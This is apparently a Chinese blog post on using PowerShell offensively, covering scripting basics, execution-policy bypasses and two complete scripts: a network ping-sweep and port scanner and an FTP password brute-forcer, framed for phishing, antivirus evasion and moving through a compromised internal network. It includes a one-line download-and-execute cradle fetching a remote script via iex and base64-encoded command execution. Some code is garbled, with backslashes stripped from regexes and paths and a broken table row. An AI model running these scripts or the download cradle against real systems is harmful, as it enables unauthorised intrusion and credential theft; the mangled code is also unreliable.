powershell攻击利用

powershell 简单来说就是 cmd 的高级版,cmd 能做的事在 PowerShell 中都能做,但 PowerShell 还能做很多 cmd 不能做的事情

PowerShell 内置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系统中,同时 PowerShell 是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。

PowerShell 有如下特点:

  • Windows 7 以上的操作系统默认安装
  • PowerShell 脚本可以运行在内存中,不需要写入磁盘
  • 可以从另一个系统中下载 PowerShell 脚本并执行
  • 目前很多工具都是基于 PowerShell 开发的
  • 很多安全软件检测不到 PowerShell 的活动
  • cmd 通常会被阻止运行,但是 PowerShell 不会
  • 可以用来管理活动目录
PS C:\Users\tl135> get-host


Name             : ConsoleHost
Version          : 5.1.26100.4652
InstanceId       : bb288ec5-6fb7-46ed-a39a-5a4d18625fb9
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : zh-CN
CurrentUICulture : zh-CN
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace
PS C:\Users\tl135> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.26100.4652
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.26100.4652
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1

powershell 主要有以下两个利用场景:

  1. 第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令
  2. 第二种我们已经到了对方网络,再不济也是一台DMZ的win-server,那么我们利用ps做的事情那么自然而然的是对内网继续深入

简单的基础

这里懒得一点点打了直接复制

变量
变量都是以$开头, 是强类型语言, 语言是大小写不敏感的

提一提变量保护与常量的声明:New-Variable num -Value 100 -Force -Option readonly这样就得到一个受保护的变量$num,如果要销毁它只能通过del $num删除。如果要声明常量则用New-Variable num -Value 100 -Force -Option readonlyNew-Variable num -Value 100 -Force -Option constant

数组
数组的创建:
数组的创建可以通过下面五种方式来创建,在适当的条件下选择适当的方式创建即可

$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@()  # 空数组
$a=,"1" # 一个元素的数组
数组的访问
数组的访问和C类似,第一位元素实用下标0来访问即$array[0],我们来看看ipconfig获取到的数据

$ip = ipconfig
$ip[1] # 获取ipconfig第二行的数据
数组的判断
$test -is [array]

数组的追加:
$books += "元素4"

哈希表
哈希表的创建:
$stu=@{ Name = "test";Age="12";sex="man" }

哈希表里存数组:
$stu=@{ Name = "hei";Age="12";sex="man";Books="kali","sqlmap","powershell" }

哈希表的插入与删除:
$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")
对象
在powershell中一切都可以视为对象,包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法

控制语句
条件判断
比较运算符
-eq :等于
-ne :不等于
-gt :大于
-ge :大于等于
-lt :小于
-le :小于等于
-contains :包含
$array -contains something

-notcontains :不包含
!($a): 求反
-and :和
-or :或
-xor :异或
-not :逆
if-else
if-else:

if($value -eq 1){
    code1
}else{
    code2
}
循环语句
while
while($n -gt 0){
    code
}
for
$sum=0
for($i=1;$i -le 100;$i++)
{
    $sum+=$i
}
$sum
foreach
# 打印出windows目录下大于1mb的文件名
foreach($file in dir c:windows)
{
    if($file.Length -gt 1mb)
    {
        $File.Name
    }
}
foreach-object
# 获取所有的服务,并获取对呀进程ID是否大于100
Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}
函数
function Invoke-PortScan {
<#
.SYNOPSIS 
简介

.DESCRIPTION
描述
    
.PARAMETER StartAddress
参数

.PARAMETER EndAddress
参数

.EXAMPLE
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
用例
#>
code
}
异常处理
Try{
    $connection.open()
    $success = $true
}Catch{
    $success = $false
}

脚本执行基础

win 下常用的脚本

Bat

我们常用的Bat脚本,全名为批处理文件,脚本中就是我们在CMD中使用到的命令,这里提一个小问题:CMD的命令行执行命令的优先级是.bat > .exe,那么假如我放一个cmd.bat在system32目录下,那么优先执行的是cmd.bat,那就很有操作空间了

VBscript

简称 vbs,是微软为了方便自动化管理windows而推出的脚本语言,不重要

PowerShell

ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件

Powershell 执行策略

在调用脚本的时候可能会出现报错,这是powershell的安全执行策略

下面我们来了解一下执行策略:

PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略

简单介绍各种策略如下:

名称

说明

Restricted

受限制的,可以执行单个的命令,但是不能执行脚本Windows 8, Windows Server 2012, and Windows 8.1中默认就是这种策略,所以是不能执行脚本的,执行就会报错,那么如何才能执行呢?Set-ExecutionPolicy -ExecutionPolicy Bypass就是设置策略为Bypass这样就可以执行脚本了。

AllSigned

AllSigned 执行策略允许执行所有具有数字签名的脚本

RemoteSigned

当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行,不要求脚本具有数字签名。

Unrestricted

这是一种比较宽容的策略,允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示。需要你确认是否执行脚本

Bypass

Bypass 执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。

Undefined

Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。

那么我们如何绕过这些安全策略呢?下面提供几种方法,网上还有很多的绕过方法,大家可以自行研究:

名称

说明

Get-ExecutionPolicy

获取当前的执行策略

Get-Content .test.ps1 | powershell.exe -noprofile –

通过管道输入进ps

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.2/test.ps1')"

通过远程下载脚本来绕过|bytes = [System.Text.Encoding]::Unicode.GetBytes(encodedCommand =[Convert]::ToBase64String(encodedCommand|通过BASE64编码执行|

Powershell 脚本调用方法

如果脚本是直接写的代码而不是只定义了函数那么直接执行脚本.script.ps1即可

但是如果是载入里面的函数需要.+空格+.script.ps1

或者使用Import-Module .script.ps1, 这样才能直接使用脚本的函数

事实上我们 getshell 获取到的 shell 常为 cmd,但是用 cmd 也可以运行 powershell 命令

PowerShell[.exe]
       [-PSConsoleFile <file> | -Version <version>]
       [-EncodedCommand <Base64EncodedCommand>]
       [-ExecutionPolicy <ExecutionPolicy>]
       [-File <filePath> <args>]
       [-InputFormat {Text | XML}] 
       [-NoExit]
       [-NoLogo]
       [-NonInteractive] 
       [-NoProfile] 
       [-OutputFormat {Text | XML}] 
       [-Sta]
       [-WindowStyle <style>]
       [-Command { - | <script-block> [-args <arg-array>]
                     | <string> [<CommandParameters>] } ]

PowerShell[.exe] -Help | -? | /?

基于 powershell 的一些脚本

目前的一些优秀的端口扫描都是Python或者Go语言等进行编写的, 对于我们来说并不是最佳选择。因为对于Windows系统Python之类的环境并不是每一台电脑都有, 但Powershell不同,我们不需要进行过多的操作即可进行丰富的操作

端口扫描器

function PortScan {
<#
.DESCRIPTION
端口扫描

.PARAMETER StartAddress
Ip开始地址 Range

.PARAMETER EndAddress
Ip结束地址 Range

.PARAMETER GetHost
解析获取主机名 HostName

.PARAMETER ScanPort
端口扫描参数, 若不打开就是主机存活的探测 PortScan

.PARAMETER Ports
需要扫描的端口,默认有: 21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,
    1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,
    8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030

.PARAMETER TimeOut
TimeOut 默认是10s TimeOut 100

.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254

.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost

.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort

.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -TimeOut 500

.EXAMPLE
PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -Port 80

#>
    [CmdletBinding()] Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("bd{1,3}.d{1,3}.d{1,3}.d{1,3}b")]
        [string]
        $StartAddress,

        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("bd{1,3}.d{1,3}.d{1,3}.d{1,3}b")]
        [string]
        $EndAddress,
        
        [switch]
        $GetHost,

        [switch]
        $ScanPort,

        [int[]]
        $Ports = @

(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778

,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
        
        [int]
        $TimeOut = 100
    )  
    Begin {
        # 开始之前先调用Ping组件
        $ping = New-Object System.Net.Networkinformation.Ping
    }
    Process {
        # 四层循环获取解析IP地址
        foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
            foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
            foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
                foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
                    # write-progress用于在shell界面显示一个进度条
                    write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
                    # 通过Ping命令发送ICMP包探测主机是否存活
                    $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
                    if($pingStatus.Status -eq "Success") {
                        if($GetHost) {
                            # 本分支主要解决主机名的问题
                            # write-progress用于在shell界面显示一个进度条
                            write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -

Id 1
                            # 获取主机名
                            $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
                        }
                        if($ScanPort) {
                            # 定义一个开放的端口数组, 存储开放的端口
                            $openPorts = @()
                            for($i = 1; $i -le $ports.Count;$i++) {
                                $port = $Ports[($i-1)]
                                # write-progress用于在shell界面显示一个进度条
                                write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
                                # 定义一个Tcp的客户端
                                $client = New-Object System.Net.Sockets.TcpClient
                                # 开始连接
                                $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                                if($client.Connected) {
                                    # 加入开放的端口
                                    $openPorts += $port
                                } else {
                                # 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
                                    Start-Sleep -Milli $TimeOut
                                    if($client.Connected) {
                                        $openPorts += $port
                                    }
                                }
                                $client.Close()
                            }
                        }
                        if($GetHost) {
                            # 获取主机名
                            $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
                        }
                        # 返回对象-哈希表
                        New-Object PSObject -Property @{
                        IPAddress = "$a.$b.$c.$d";
                        HostName = $hostName;
                        Ports = $openPorts
                        } | Select-Object IPAddress, HostName, Ports
                    }
                }
            }
            }
        }
    }
    End {
        # 其他脚本运行结束代码
    }
}

服务爆破

function Invoke-BruteForce
{
<#

.DESCRIPTION
FTP服务爆破脚本

.PARAMETER Computername
主机名参数

.PARAMETER UserList
用户字典参数

.PARAMETER PasswordList
密码字典参数

.PARAMETER Service
服务名参数

.PARAMETER StopOnSuccess
找到密码时是否退出

.PARAMETER Delay
爆破时间间隔, 默认为0

.EXAMPLE
PS C:UsersrootclayDesktoppowershell> FTP-BruteForce -ComputerName localhost -UserList 
    C:UsersrootclayDesktoppowershelldictusername.txt -PasswordList 
    C:UsersrootclayDesktoppowershelldictpass.txt -Service ftp -verbose

#>
    [CmdletBinding()] Param(
        [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
        [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
        [String]
        $ComputerName,

        [Parameter(Position = 1, Mandatory = $true)]
        [Alias('Users')]
        [String]
        $UserList,

        [Parameter(Position = 2, Mandatory = $true)]
        [Alias('Passwords')]
        [String]
        $PasswordList,

        [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("FTP")]
        [String]
        $Service = "FTP",

        [Parameter(Position = 4, Mandatory = $false)]
        [Switch]
        $StopOnSuccess,

        [Parameter(Position = 6, Mandatory = $false)]
        [UInt32]
        $Delay = 0
    )
    Begin {
        # 开始之前相关代码
    }

    Process
    {
        # Write-Verbose用于打印详细信息
        Write-Verbose "Starting Brute-Force and Delay is $Delay."
        
        # 获取用户名与密码字典
        $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
        $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
        if (!$usernames) { 
            $usernames = $UserList
            Write-Verbose "UserList file does not exist."
            Write-Verbose $usernames
        }
        if (!$passwords) {
            $passwords = $PasswordList
            Write-Verbose "PasswordList file does not exist."
            Write-Verbose $passwords
        }

        # Brute Force FTP
        if ($service -eq "FTP")
        {
            # 机器名的处理:若ftp://开始直接获取名字,若没有直接加上
            if($ComputerName -notMatch "^ftp://")
            {
                $source = "ftp://" + $ComputerName
            }
            else
            {
                $source = $ComputerName
            }
            Write-Output "Brute Forcing FTP on $ComputerName"

            :UsernameLoop foreach ($username in $usernames)
            {
                foreach ($Password in $Passwords)
                {
                    try
                    {   
                        # 调用.net中的FTP库进行连接
                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        
                        # 通过Verbose输出的信息
                        Write-Verbose "Trying $userName : $password"

                        # 进行认证连接
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
                        
                        # 获取返回信息
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        
                        # 打印信息到控制台
                        Write-Output "Match $username : $Password"
                        $success = $true

                        # 判断是否要得到结果立刻退出
                        if ($StopOnSuccess)
                        {
                            break UsernameLoop
                        }
                    }

                    catch
                    {
                        $message = $error[0].ToString()
                        $success = $false
                    }
                    # 延时爆破
                    Start-Sleep -Seconds $Delay
                }
            }
        } 
    }

    End {
        # 其他脚本运行结束代码
    }
}

多线程

在真实渗透中,多线程是必要的,因为当你到达对方的内网,你不知道对方的应急有多快,所以我们的渗透工作自然是越快越好

# 不使用多线程
$start = Get-Date
$code1 = { Start-Sleep -Seconds 5; 'A' }
$code2 = { Start-Sleep -Seconds 5; 'B'}
$code3 = { Start-Sleep -Seconds 5; 'C'}
$result1,$result2,$result3= (& $code1),(& $code2),(& $code3)
$end =Get-Date
$timespan= $end - $start
$seconds = $timespan.TotalSeconds
Write-Host "总耗时 $seconds 秒."
# 使用多线程
$start = Get-Date
$code1 = { Start-Sleep -Seconds 5; 'A' }
$code2 = { Start-Sleep -Seconds 5; 'B'}
$code3 = { Start-Sleep -Seconds 5; 'C'}
 
$job1 = Start-Job -ScriptBlock $code1
$job2 = Start-Job -ScriptBlock $code2
$job3 = Start-Job -ScriptBlock $code3
 
$alljobs =  Wait-Job $job1,$job2,$job3
$result1,$result2,$result3 = Receive-Job $alljobs
 
$end =Get-Date
 
$timespan= $end - $start
$seconds = $timespan.TotalSeconds
Write-Host "总耗时 $seconds 秒."
posted @ 2025-07-17 09:32  ALe_#3  阅读(14)  评论(0)    收藏  举报  来源